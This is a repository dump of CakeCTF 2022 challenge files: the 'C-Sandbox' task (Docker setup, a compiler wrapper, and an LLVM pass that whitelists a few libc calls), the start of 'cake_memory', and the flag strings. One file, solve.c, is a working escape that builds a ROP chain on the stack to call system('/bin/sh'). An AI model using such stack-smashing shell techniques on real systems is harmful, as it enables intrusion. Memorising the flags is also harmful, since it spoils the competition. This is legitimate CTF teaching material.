5 | nc {host} {port} 6 | flag: "CakeCTF{uum_hash_is_too_small_compared_to_modulus}" 7 | author: theoremoon 8 | host: crypto.2022.cakectf.com 9 | port: 10987 10 | tags: 11 | - crypto 12 | - lunatic 13 | is_survey: false 14 | -------------------------------------------------------------------------------- /misc/c_sandbox/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:20.04 2 | 3 | ENV DEBIAN_FRONTEND noninteractive 4 | 5 | RUN apt-get -y update --fix-missing && apt-get -y upgrade 6 | RUN apt-get -y install xinetd llvm-11 clang-11 python3 7 | RUN groupadd -r ctf && useradd -r -g ctf ctf 8 | 9 | ADD challenge/ctf.xinetd /etc/xinetd.d/ctf 10 | ADD challenge/init.sh /etc/init.sh 11 | ADD challenge/redir.sh /home/ctf/.redir.sh 12 | RUN chmod 550 /home/ctf/.redir.sh 13 | RUN chmod 700 /etc/init.sh 14 | RUN chmod 1733 /tmp /var/tmp /dev/shm 15 | 16 | WORKDIR /home/ctf 17 | ADD challenge/flag.txt flag.txt 18 | ADD distfiles/libCSandbox.so . 19 | ADD distfiles/compiler.py . 20 | RUN chmod 440 flag.txt 21 | RUN chmod 550 libCSandbox.so 22 | RUN chmod 550 compiler.py 23 | RUN mv flag.txt flag-$(md5sum flag.txt | awk '{print $1}').txt 24 | 25 | RUN chown -R root:ctf /home/ctf 26 | 27 | RUN ls /home/ctf -lh 28 | 29 | RUN service xinetd restart 30 | -------------------------------------------------------------------------------- /misc/c_sandbox/challenge/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | cmake_minimum_required(VERSION 3.16.3) 2 | 3 | project(dummy NONE) 4 | set(CMAKE_C_COMPILER /usr/bin/clang-11 CACHE PATH "") 5 | set(CMAKE_CXX_COMPILER /usr/bin/clang++-11 CACHE PATH "") 6 | set(CMAKE_CXX_FLAGS "${CMAKE_C_FLAGS} -std=c++1z") 7 | 8 | project(CSandbox) 9 | 10 | find_package(LLVM REQUIRED CONFIG HINTS "/usr/lib/llvm-11/") 11 | 12 | message(STATUS "Found LLVM ${LLVM_PACKAGE_VERSION}") 13 | message(STATUS "Using LLVMConfig.cmake in: ${LLVM_DIR}") 14 | 15 | include_directories(${LLVM_INCLUDE_DIRS}) 16 | add_definitions(${LLVM_DEFINITIONS}) 17 | 18 | add_library(CSandbox SHARED sandbox.cpp) 19 | target_link_libraries(CSandbox ${llvm_libs}) 20 | -------------------------------------------------------------------------------- /misc/c_sandbox/challenge/compiler.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | import os 3 | import random 4 | 5 | def tempname(extension='', length=16, directory='/tmp'): 6 | name = '{:x}'.format(random.randrange(0, 1<<(length*8))) 7 | return directory + '/' + name.zfill(length) + extension 8 | 9 | def c_compile(code): 10 | c_path = tempname(extension='.c') 11 | bc_path = tempname(extension='.bc') 12 | ir_path = tempname(extension='.ir') 13 | asm_path = tempname(extension='.asm') 14 | elf_path = tempname(extension='.bin') 15 | with open(c_path, 'w') as f: 16 | f.write(code) 17 | 18 | print("[+] Generating bitcode...") 19 | r = os.system('clang-11 -emit-llvm -c {} -o {} 2>/dev/null' 20 | .format(c_path, bc_path)) 21 | os.unlink(c_path) 22 | if r != 0: return 23 | 24 | print("[+] Instrumenting...") 25 | r = os.system('opt-11 -load ./libCSandbox.so -Sandbox < {} > {} 2>/dev/null' 26 | .format(bc_path, ir_path)) 27 | os.unlink(bc_path) 28 | if r != 0: 29 | os.unlink(ir_path) 30 | return 31 | 32 | print("[+] Translating to assembly...") 33 | r = os.system('llc-11 {} -o {} 2>/dev/null' 34 | .format(ir_path, asm_path)) 35 | os.unlink(ir_path) 36 | if r != 0: return 37 | 38 | print("[+] Compiling...") 39 | r = os.system('clang-11 {} -o {} 2>/dev/null' 40 | .format(asm_path, elf_path)) 41 | os.unlink(asm_path) 42 | if r != 0: return 43 | 44 | return elf_path 45 | 46 | if __name__ == '__main__': 47 | print("Enter your C code (Type 'EOF' to quit input)") 48 | code = '' 49 | while True: 50 | line = input() 51 | if line == 'EOF': break 52 | code += line + '\n' 53 | if len(code) > 1024: 54 | print("[-] Too long") 55 | exit(1) 56 | 57 | elf_path = c_compile(code) 58 | if elf_path is None: 59 | print("[-] Compilation failed") 60 | exit(1) 61 | 62 | print("[+] Running...") 63 | os.system("timeout -s KILL --foreground 60 {}".format(elf_path)) 64 | os.unlink(elf_path) 65 | -------------------------------------------------------------------------------- /misc/c_sandbox/challenge/ctf.xinetd: -------------------------------------------------------------------------------- 1 | service pwn 2 | { 3 | disable = no 4 | socket_type = stream 5 | protocol = tcp 6 | wait = no 7 | user = ctf 8 | type = UNLISTED 9 | bind = 0.0.0.0 10 | port = 9999 11 | server = /home/ctf/.redir.sh 12 | rlimit_as = 1024M 13 | } 14 | -------------------------------------------------------------------------------- /misc/c_sandbox/challenge/flag.txt: -------------------------------------------------------------------------------- 1 | CakeCTF{briI1ng_yoO0ur_oO0wn_gaA4dgeE3t!} 2 | -------------------------------------------------------------------------------- /misc/c_sandbox/challenge/init.sh: -------------------------------------------------------------------------------- 1 | #! /bin/bash 2 | service xinetd restart && /bin/sleep infinity 3 | -------------------------------------------------------------------------------- /misc/c_sandbox/challenge/redir.sh: -------------------------------------------------------------------------------- 1 | #! /bin/bash 2 | cd /home/ctf && ./compiler.py 3 | -------------------------------------------------------------------------------- /misc/c_sandbox/challenge/sandbox.cpp: -------------------------------------------------------------------------------- 1 | #include "llvm/IR/IRBuilder.h" 2 | #include "llvm/IR/LegacyPassManager.h" 3 | 4 | using namespace llvm; 5 | 6 | struct Sandbox : public ModulePass { 7 | static char ID; 8 | 9 | Sandbox() : ModulePass(ID) {} 10 | 11 | bool initialize(Module &M) { 12 | return true; 13 | } 14 | 15 | bool runOnModule(Module &M) override { 16 | for (auto& F: M) { 17 | runOnFunction(F, M); 18 | } 19 | return false; 20 | } 21 | 22 | bool runOnFunction(Function &F, Module &M) { 23 | for (auto& BB: F) { 24 | runOnBasicBlock(BB, M); 25 | } 26 | return false; 27 | } 28 | 29 | bool runOnBasicBlock(BasicBlock &BB, Module &M) { 30 | for (auto& I: BB) { 31 | if (auto ci(dyn_cast(&I)); ci) { 32 | /* Get function name to be called */ 33 | auto func = ci->getCalledFunction(); 34 | if (!func) { 35 | auto *value = ci->getCalledOperand(); 36 | func = dyn_cast(value->stripPointerCasts()); 37 | } 38 | 39 | /* Allow these function calls */ 40 | if (func && 41 | (func->getName() == "puts" 42 | || func->getName() == "printf" 43 | || func->getName() == "__isoc99_scanf" 44 | || func->getName() == "exit")) 45 | continue; 46 | 47 | /* Otherwise insert trap */ 48 | std::string str_I; 49 | raw_string_ostream(str_I) << I; 50 | IRBuilder<> builder(&I); 51 | auto msg = builder.CreateGlobalStringPtr( 52 | "[C-Sandbox] Invalid function call: " + str_I 53 | ); 54 | auto func_puts = cast( 55 | M.getOrInsertFunction("puts", 56 | builder.getInt32Ty(), 57 | builder.getInt8PtrTy()).getCallee() 58 | ); 59 | auto func_exit = cast( 60 | M.getOrInsertFunction("exit", 61 | builder.getVoidTy(), 62 | builder.getInt32Ty()).getCallee() 63 | ); 64 | builder.CreateCall(func_puts, msg); 65 | builder.CreateCall(func_exit, builder.getInt32(1)); 66 | } 67 | } 68 | 69 | return false; 70 | } 71 | }; 72 | 73 | char Sandbox::ID = 0; 74 | static RegisterPass X("Sandbox", 75 | "Deny dangerous system calls", 76 | false, 77 | false); 78 | -------------------------------------------------------------------------------- /misc/c_sandbox/distfiles/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | cmake_minimum_required(VERSION 3.16.3) 2 | 3 | project(dummy NONE) 4 | set(CMAKE_C_COMPILER /usr/bin/clang-11 CACHE PATH "") 5 | set(CMAKE_CXX_COMPILER /usr/bin/clang++-11 CACHE PATH "") 6 | set(CMAKE_CXX_FLAGS "${CMAKE_C_FLAGS} -std=c++1z") 7 | 8 | project(CSandbox) 9 | 10 | find_package(LLVM REQUIRED CONFIG HINTS "/usr/lib/llvm-11/") 11 | 12 | message(STATUS "Found LLVM ${LLVM_PACKAGE_VERSION}") 13 | message(STATUS "Using LLVMConfig.cmake in: ${LLVM_DIR}") 14 | 15 | include_directories(${LLVM_INCLUDE_DIRS}) 16 | add_definitions(${LLVM_DEFINITIONS}) 17 | 18 | add_library(CSandbox SHARED sandbox.cpp) 19 | target_link_libraries(CSandbox ${llvm_libs}) 20 | -------------------------------------------------------------------------------- /misc/c_sandbox/distfiles/Dockerfile: -------------------------------------------------------------------------------- 1 | # docker build . -t c_sandbox 2 | # docker run -it c_sandbox 3 | FROM ubuntu:20.04 4 | 5 | ENV DEBIAN_FRONTEND noninteractive 6 | 7 | RUN apt-get -y update --fix-missing && apt-get -y upgrade 8 | RUN apt-get -y install xinetd llvm-11 clang-11 python3 9 | RUN groupadd -r ctf && useradd -r -g ctf ctf 10 | 11 | WORKDIR /home/ctf 12 | ADD libCSandbox.so . 13 | ADD compiler.py . 14 | RUN chmod 550 libCSandbox.so 15 | RUN chmod 550 compiler.py 16 | 17 | RUN chown -R root:ctf /home/ctf 18 | 19 | CMD ["python3", "compiler.py"] 20 | -------------------------------------------------------------------------------- /misc/c_sandbox/distfiles/compiler.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | import os 3 | import random 4 | 5 | def tempname(extension='', length=16, directory='/tmp'): 6 | name = '{:x}'.format(random.randrange(0, 1<<(length*8))) 7 | return directory + '/' + name.zfill(length) + extension 8 | 9 | def c_compile(code): 10 | c_path = tempname(extension='.c') 11 | bc_path = tempname(extension='.bc') 12 | ir_path = tempname(extension='.ir') 13 | asm_path = tempname(extension='.asm') 14 | elf_path = tempname(extension='.bin') 15 | with open(c_path, 'w') as f: 16 | f.write(code) 17 | 18 | print("[+] Generating bitcode...") 19 | r = os.system('clang-11 -emit-llvm -c {} -o {} 2>/dev/null' 20 | .format(c_path, bc_path)) 21 | os.unlink(c_path) 22 | if r != 0: return 23 | 24 | print("[+] Instrumenting...") 25 | r = os.system('opt-11 -load ./libCSandbox.so -Sandbox < {} > {} 2>/dev/null' 26 | .format(bc_path, ir_path)) 27 | os.unlink(bc_path) 28 | if r != 0: 29 | os.unlink(ir_path) 30 | return 31 | 32 | print("[+] Translating to assembly...") 33 | r = os.system('llc-11 {} -o {} 2>/dev/null' 34 | .format(ir_path, asm_path)) 35 | os.unlink(ir_path) 36 | if r != 0: return 37 | 38 | print("[+] Compiling...") 39 | r = os.system('clang-11 {} -o {} 2>/dev/null' 40 | .format(asm_path, elf_path)) 41 | os.unlink(asm_path) 42 | if r != 0: return 43 | 44 | return elf_path 45 | 46 | if __name__ == '__main__': 47 | print("Enter your C code (Type 'EOF' to quit input)") 48 | code = '' 49 | while True: 50 | line = input() 51 | if line == 'EOF': break 52 | code += line + '\n' 53 | if len(code) > 0x1000: 54 | print("[-] Too long") 55 | exit(1) 56 | 57 | elf_path = c_compile(code) 58 | if elf_path is None: 59 | print("[-] Compilation failed") 60 | exit(1) 61 | 62 | print("[+] Running...", flush=True) 63 | os.system("timeout -s KILL --foreground 60 {}".format(elf_path)) 64 | os.unlink(elf_path) 65 | -------------------------------------------------------------------------------- /misc/c_sandbox/distfiles/libCSandbox.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/theoremoon/cakectf2022-public/70316d824372e084338d5d02774379f49846e523/misc/c_sandbox/distfiles/libCSandbox.so -------------------------------------------------------------------------------- /misc/c_sandbox/distfiles/sandbox.cpp: -------------------------------------------------------------------------------- 1 | #include "llvm/IR/IRBuilder.h" 2 | #include "llvm/IR/LegacyPassManager.h" 3 | 4 | using namespace llvm; 5 | 6 | struct Sandbox : public ModulePass { 7 | static char ID; 8 | 9 | Sandbox() : ModulePass(ID) {} 10 | 11 | bool initialize(Module &M) { 12 | return true; 13 | } 14 | 15 | bool runOnModule(Module &M) override { 16 | for (auto& F: M) { 17 | runOnFunction(F, M); 18 | } 19 | return false; 20 | } 21 | 22 | bool runOnFunction(Function &F, Module &M) { 23 | for (auto& BB: F) { 24 | runOnBasicBlock(BB, M); 25 | } 26 | return false; 27 | } 28 | 29 | bool runOnBasicBlock(BasicBlock &BB, Module &M) { 30 | for (auto& I: BB) { 31 | if (auto ci(dyn_cast(&I)); ci) { 32 | /* Get function name to be called */ 33 | auto func = ci->getCalledFunction(); 34 | if (!func) { 35 | auto *value = ci->getCalledOperand(); 36 | func = dyn_cast(value->stripPointerCasts()); 37 | } 38 | 39 | /* Allow these function calls */ 40 | if (func && 41 | (func->getName() == "puts" 42 | || func->getName() == "printf" 43 | || func->getName() == "__isoc99_scanf" 44 | || func->getName() == "exit")) 45 | continue; 46 | 47 | /* Otherwise insert trap */ 48 | std::string str_I; 49 | raw_string_ostream(str_I) << I; 50 | IRBuilder<> builder(&I); 51 | auto msg = builder.CreateGlobalStringPtr( 52 | "[C-Sandbox] Invalid function call: " + str_I 53 | ); 54 | auto func_puts = cast( 55 | M.getOrInsertFunction("puts", 56 | builder.getInt32Ty(), 57 | builder.getInt8PtrTy()).getCallee() 58 | ); 59 | auto func_exit = cast( 60 | M.getOrInsertFunction("exit", 61 | builder.getVoidTy(), 62 | builder.getInt32Ty()).getCallee() 63 | ); 64 | builder.CreateCall(func_puts, msg); 65 | builder.CreateCall(func_exit, builder.getInt32(1)); 66 | } 67 | } 68 | 69 | return false; 70 | } 71 | }; 72 | 73 | char Sandbox::ID = 0; 74 | static RegisterPass X("Sandbox", 75 | "Deny dangerous system calls", 76 | false, 77 | false); 78 | -------------------------------------------------------------------------------- /misc/c_sandbox/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '3' 2 | services: 3 | csandbox: 4 | build: 5 | context: . 6 | working_dir: /home/ctf 7 | container_name: csandbox 8 | ulimits: 9 | nproc: 65535 10 | core: 0 11 | ports: 12 | - "10099:9999" 13 | entrypoint: /etc/init.sh 14 | restart: always 15 | -------------------------------------------------------------------------------- /misc/c_sandbox/solution/solve.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | int i; 5 | void *rop_ret, *rop_pop_rdi; 6 | void **rop_chain; 7 | 8 | long gadget_ret() { return 0xc3; } 9 | long gadget_pop_rdi() { return 0xc35f; } 10 | 11 | int main() { 12 | char buf[0x10]; 13 | 14 | /* Find ROP gadgets */ 15 | for (rop_ret = gadget_ret; ; rop_ret++) { 16 | if (*(unsigned char*)(rop_ret) == 0xc3) { 17 | printf("[+] Found 'ret;' at %p\n", rop_ret); 18 | break; 19 | } 20 | } 21 | 22 | for (rop_pop_rdi = gadget_pop_rdi; ; rop_pop_rdi++) { 23 | if (*(unsigned char*)(rop_pop_rdi) == 0x5f 24 | && *(unsigned char*)(rop_pop_rdi+1) == 0xc3) { 25 | printf("[+] Found 'pop rdi; ret;' at %p\n", rop_pop_rdi); 26 | break; 27 | } 28 | } 29 | 30 | /* Dumps stack for debug */ 31 | puts("--- Stack Dump ---"); 32 | for (i = 0; i < 0x80; i += 8) { 33 | printf("%p: 0x%016lx\n", buf + i, *(unsigned long*)(buf + i)); 34 | } 35 | 36 | /* Inject ROP chain */ 37 | puts("[+] Injecting ROP chain..."); 38 | rop_chain = (void*)buf; 39 | for (i = 0; i < 0x8; i++) { 40 | *rop_chain++ = rop_ret; 41 | } 42 | *rop_chain++ = rop_pop_rdi; 43 | *rop_chain++ = "/bin/sh"; 44 | *rop_chain++ = system; 45 | *rop_chain++ = rop_pop_rdi; 46 | *rop_chain++ = (void*)0; 47 | *rop_chain++ = exit; 48 | 49 | /* Dumps stack for debug */ 50 | puts("--- Stack Dump ---"); 51 | for (int i = 0; i < 0x80; i += 8) { 52 | printf("%p: 0x%016lx\n", buf + i, *(unsigned long*)(buf + i)); 53 | } 54 | 55 | return 0; 56 | } 57 | -------------------------------------------------------------------------------- /misc/c_sandbox/task.yml: -------------------------------------------------------------------------------- 1 | --- 2 | name: C-Sandbox 3 | description: > 4 | I designed a restricted C compiler! 5 | nc {host} {port} 6 | flag: "CakeCTF{briI1ng_yoO0ur_oO0wn_gaA4dgeE3t!}" 7 | author: ptr-yudai 8 | host: misc.2022.cakectf.com 9 | port: 10099 10 | tags: 11 | - misc 12 | is_survey: false 13 | -------------------------------------------------------------------------------- /misc/cake_memory/challenge/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "challenge" 3 | version = "0.1.0" 4 | edition = "2021" 5 | 6 | [profile.release] 7 | strip = true 8 | opt-level = "z" 9 | lto = true 10 | codegen-units = 1 11 | panic = "abort" 12 | 13 | [dependencies] 14 | glam = "0.20.2" 15 | ggez = "0.8.0-rc0" 16 | obfstr = "0.3.0" 17 | rand = "0.8.5" 18 | -------------------------------------------------------------------------------- /misc/cake_memory/challenge/resources/snd/beep/click.wav: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/theoremoon/cakectf2022-public/70316d824372e084338d5d02774379f49846e523/misc/cake_memory/challenge/resources/snd/beep/click.wav -------------------------------------------------------------------------------- /misc/cake_memory/challenge/resources/snd/beep/correct.wav: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/theoremoon/cakectf2022-public/70316d824372e084338d5d02774379f49846e523/misc/cake_memory/challenge/resources/snd/beep/correct.wav -------------------------------------------------------------------------------- /misc/cake_memory/challenge/resources/snd/beep/wrong.wav: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/theoremoon/cakectf2022-public/70316d824372e084338d5d02774379f49846e523/misc/cake_memory/challenge/resources/snd/beep/wrong.wav -------------------------------------------------------------------------------- /misc/cake_memory/challenge/resources/snd/voice/blue.wav: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/theoremoon/cakectf2022-public/70316d824372e084338d5d02774379f49846e523/misc/cake_memory/challenge/resources/snd/voice/blue.wav -------------------------------------------------------------------------------- /misc/cake_memory/challenge/resources/snd/voice/burgundy.wav: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/theoremoon/cakectf2022-public/70316d824372e084338d5d02774379f49846e523/misc/cake_memory/challenge/resources/snd/voice/burgundy.wav -------------------------------------------------------------------------------- /misc/cake_memory/challenge/resources/snd/voice/cake.wav: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/theoremoon/cakectf2022-public/70316d824372e084338d5d02774379f49846e523/misc/cake_memory/challenge/resources/snd/voice/cake.wav -------------------------------------------------------------------------------- /misc/cake_memory/challenge/resources/snd/voice/coquelicot.wav: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/theoremoon/cakectf2022-public/70316d824372e084338d5d02774379f49846e523/misc/cake_memory/challenge/resources/snd/voice/coquelicot.wav -------------------------------------------------------------------------------- /misc/cake_memory/challenge/resources/snd/voice/e.wav: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/theoremoon/cakectf2022-public/70316d824372e084338d5d02774379f49846e523/misc/cake_memory/challenge/resources/snd/voice/e.wav -------------------------------------------------------------------------------- /misc/cake_memory/challenge/resources/snd/voice/flag.wav: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/theoremoon/cakectf2022-public/70316d824372e084338d5d02774379f49846e523/misc/cake_memory/challenge/resources/snd/voice/flag.wav -------------------------------------------------------------------------------- /misc/cake_memory/challenge/resources/snd/voice/g.wav: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/theoremoon/cakectf2022-public/70316d824372e084338d5d02774379f49846e523/misc/cake_memory/challenge/resources/snd/voice/g.wav -------------------------------------------------------------------------------- /misc/cake_memory/challenge/resources/snd/voice/green.wav: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/theoremoon/cakectf2022-public/70316d824372e084338d5d02774379f49846e523/misc/cake_memory/challenge/resources/snd/voice/green.wav -------------------------------------------------------------------------------- /misc/cake_memory/challenge/resources/snd/voice/heart.wav: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/theoremoon/cakectf2022-public/70316d824372e084338d5d02774379f49846e523/misc/cake_memory/challenge/resources/snd/voice/heart.wav -------------------------------------------------------------------------------- /misc/cake_memory/challenge/resources/snd/voice/j.wav: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/theoremoon/cakectf2022-public/70316d824372e084338d5d02774379f49846e523/misc/cake_memory/challenge/resources/snd/voice/j.wav -------------------------------------------------------------------------------- /misc/cake_memory/challenge/resources/snd/voice/kitten.wav: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/theoremoon/cakectf2022-public/70316d824372e084338d5d02774379f49846e523/misc/cake_memory/challenge/resources/snd/voice/kitten.wav -------------------------------------------------------------------------------- /misc/cake_memory/challenge/resources/snd/voice/lambda.wav: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/theoremoon/cakectf2022-public/70316d824372e084338d5d02774379f49846e523/misc/cake_memory/challenge/resources/snd/voice/lambda.wav -------------------------------------------------------------------------------- /misc/cake_memory/challenge/resources/snd/voice/omega.wav: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/theoremoon/cakectf2022-public/70316d824372e084338d5d02774379f49846e523/misc/cake_memory/challenge/resources/snd/voice/omega.wav -------------------------------------------------------------------------------- /misc/cake_memory/challenge/resources/snd/voice/orange.wav: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/theoremoon/cakectf2022-public/70316d824372e084338d5d02774379f49846e523/misc/cake_memory/challenge/resources/snd/voice/orange.wav -------------------------------------------------------------------------------- /misc/cake_memory/challenge/resources/snd/voice/pi.wav: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/theoremoon/cakectf2022-public/70316d824372e084338d5d02774379f49846e523/misc/cake_memory/challenge/resources/snd/voice/pi.wav -------------------------------------------------------------------------------- /misc/cake_memory/challenge/resources/snd/voice/question.wav: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/theoremoon/cakectf2022-public/70316d824372e084338d5d02774379f49846e523/misc/cake_memory/challenge/resources/snd/voice/question.wav -------------------------------------------------------------------------------- /misc/cake_memory/challenge/resources/snd/voice/r1.wav: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/theoremoon/cakectf2022-public/70316d824372e084338d5d02774379f49846e523/misc/cake_memory/challenge/resources/snd/voice/r1.wav -------------------------------------------------------------------------------- /misc/cake_memory/challenge/resources/snd/voice/r2.wav: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/theoremoon/cakectf2022-public/70316d824372e084338d5d02774379f49846e523/misc/cake_memory/challenge/resources/snd/voice/r2.wav -------------------------------------------------------------------------------- /misc/cake_memory/challenge/resources/snd/voice/r3.wav: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/theoremoon/cakectf2022-public/70316d824372e084338d5d02774379f49846e523/misc/cake_memory/challenge/resources/snd/voice/r3.wav -------------------------------------------------------------------------------- /misc/cake_memory/challenge/resources/snd/voice/r4.wav: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/theoremoon/cakectf2022-public/70316d824372e084338d5d02774379f49846e523/misc/cake_memory/challenge/resources/snd/voice/r4.wav -------------------------------------------------------------------------------- /misc/cake_memory/challenge/resources/snd/voice/r5.wav: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/theoremoon/cakectf2022-public/70316d824372e084338d5d02774379f49846e523/misc/cake_memory/challenge/resources/snd/voice/r5.wav -------------------------------------------------------------------------------- /misc/cake_memory/challenge/resources/snd/voice/red.wav: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/theoremoon/cakectf2022-public/70316d824372e084338d5d02774379f49846e523/misc/cake_memory/challenge/resources/snd/voice/red.wav -------------------------------------------------------------------------------- /misc/cake_memory/challenge/resources/snd/voice/smiley.wav: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/theoremoon/cakectf2022-public/70316d824372e084338d5d02774379f49846e523/misc/cake_memory/challenge/resources/snd/voice/smiley.wav -------------------------------------------------------------------------------- /misc/cake_memory/challenge/resources/snd/voice/tangerine.wav: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/theoremoon/cakectf2022-public/70316d824372e084338d5d02774379f49846e523/misc/cake_memory/challenge/resources/snd/voice/tangerine.wav -------------------------------------------------------------------------------- /misc/cake_memory/challenge/resources/snd/voice/theta.wav: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/theoremoon/cakectf2022-public/70316d824372e084338d5d02774379f49846e523/misc/cake_memory/challenge/resources/snd/voice/theta.wav -------------------------------------------------------------------------------- /misc/cake_memory/challenge/resources/snd/voice/turquoise.wav: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/theoremoon/cakectf2022-public/70316d824372e084338d5d02774379f49846e523/misc/cake_memory/challenge/resources/snd/voice/turquoise.wav -------------------------------------------------------------------------------- /misc/cake_memory/challenge/resources/snd/voice/violet.wav: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/theoremoon/cakectf2022-public/70316d824372e084338d5d02774379f49846e523/misc/cake_memory/challenge/resources/snd/voice/violet.wav -------------------------------------------------------------------------------- /misc/cake_memory/challenge/resources/snd/voice/white.wav: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/theoremoon/cakectf2022-public/70316d824372e084338d5d02774379f49846e523/misc/cake_memory/challenge/resources/snd/voice/white.wav -------------------------------------------------------------------------------- /misc/cake_memory/challenge/resources/snd/voice/yellow.wav: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/theoremoon/cakectf2022-public/70316d824372e084338d5d02774379f49846e523/misc/cake_memory/challenge/resources/snd/voice/yellow.wav -------------------------------------------------------------------------------- /misc/cake_memory/distfiles/CakeMemory.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/theoremoon/cakectf2022-public/70316d824372e084338d5d02774379f49846e523/misc/cake_memory/distfiles/CakeMemory.exe -------------------------------------------------------------------------------- /misc/cake_memory/distfiles/CakeMemory.linux: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/theoremoon/cakectf2022-public/70316d824372e084338d5d02774379f49846e523/misc/cake_memory/distfiles/CakeMemory.linux -------------------------------------------------------------------------------- /misc/cake_memory/distfiles/hint.rs: -------------------------------------------------------------------------------- 1 | // REDUCTED 2 | 3 | static SOUNDS: [SoundName; 24] = [ 4 | SoundName::VoiceBlue, SoundName::VoiceRed, 5 | SoundName::VoiceYellow, SoundName::VoiceGreen, 6 | SoundName::VoiceViolet, SoundName::VoiceOrange, 7 | SoundName::VoiceWhite, SoundName::VoiceJ, 8 | SoundName::VoiceHeart, SoundName::VoiceQuestion, 9 | SoundName::VoicePi, SoundName::VoiceSmiley, 10 | SoundName::VoiceOmega, SoundName::VoiceTurquoise, 11 | SoundName::VoiceTheta, SoundName::VoiceG, 12 | SoundName::VoiceKitten, SoundName::VoiceTangerine, 13 | SoundName::VoiceCake, SoundName::VoiceLambda, 14 | SoundName::VoiceBurgundy, SoundName::VoiceE, 15 | SoundName::VoiceCoquelicot, SoundName::VoiceFlag 16 | ]; 17 | 18 | // REDUCTED 19 | 20 | struct MusicalMemory { 21 | // REDUCTED 22 | mem_order: Vec, 23 | mem_sound: Vec, 24 | // REDUCTED 25 | } 26 | 27 | // REDUCTED 28 | 29 | fn draw(&mut self, ctx: &mut Context) -> GameResult<()> { 30 | // REDUCTED 31 | current = self.sound.get_mut(&self.mem_sound[ 32 | self.mem_order[self.show_count] 33 | ]); 34 | // REDUCTED 35 | } 36 | 37 | // REDUCTED 38 | -------------------------------------------------------------------------------- /misc/cake_memory/distfiles/resources/snd/beep/click.wav: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/theoremoon/cakectf2022-public/70316d824372e084338d5d02774379f49846e523/misc/cake_memory/distfiles/resources/snd/beep/click.wav -------------------------------------------------------------------------------- /misc/cake_memory/distfiles/resources/snd/beep/correct.wav: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/theoremoon/cakectf2022-public/70316d824372e084338d5d02774379f49846e523/misc/cake_memory/distfiles/resources/snd/beep/correct.wav -------------------------------------------------------------------------------- /misc/cake_memory/distfiles/resources/snd/beep/wrong.wav: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/theoremoon/cakectf2022-public/70316d824372e084338d5d02774379f49846e523/misc/cake_memory/distfiles/resources/snd/beep/wrong.wav -------------------------------------------------------------------------------- /misc/cake_memory/distfiles/resources/snd/voice/blue.wav: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/theoremoon/cakectf2022-public/70316d824372e084338d5d02774379f49846e523/misc/cake_memory/distfiles/resources/snd/voice/blue.wav -------------------------------------------------------------------------------- /misc/cake_memory/distfiles/resources/snd/voice/burgundy.wav: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/theoremoon/cakectf2022-public/70316d824372e084338d5d02774379f49846e523/misc/cake_memory/distfiles/resources/snd/voice/burgundy.wav -------------------------------------------------------------------------------- /misc/cake_memory/distfiles/resources/snd/voice/cake.wav: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/theoremoon/cakectf2022-public/70316d824372e084338d5d02774379f49846e523/misc/cake_memory/distfiles/resources/snd/voice/cake.wav -------------------------------------------------------------------------------- /misc/cake_memory/distfiles/resources/snd/voice/coquelicot.wav: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/theoremoon/cakectf2022-public/70316d824372e084338d5d02774379f49846e523/misc/cake_memory/distfiles/resources/snd/voice/coquelicot.wav -------------------------------------------------------------------------------- /misc/cake_memory/distfiles/resources/snd/voice/e.wav: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/theoremoon/cakectf2022-public/70316d824372e084338d5d02774379f49846e523/misc/cake_memory/distfiles/resources/snd/voice/e.wav -------------------------------------------------------------------------------- /misc/cake_memory/distfiles/resources/snd/voice/flag.wav: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/theoremoon/cakectf2022-public/70316d824372e084338d5d02774379f49846e523/misc/cake_memory/distfiles/resources/snd/voice/flag.wav -------------------------------------------------------------------------------- /misc/cake_memory/distfiles/resources/snd/voice/g.wav: -------------------------------------------------------------------------------- 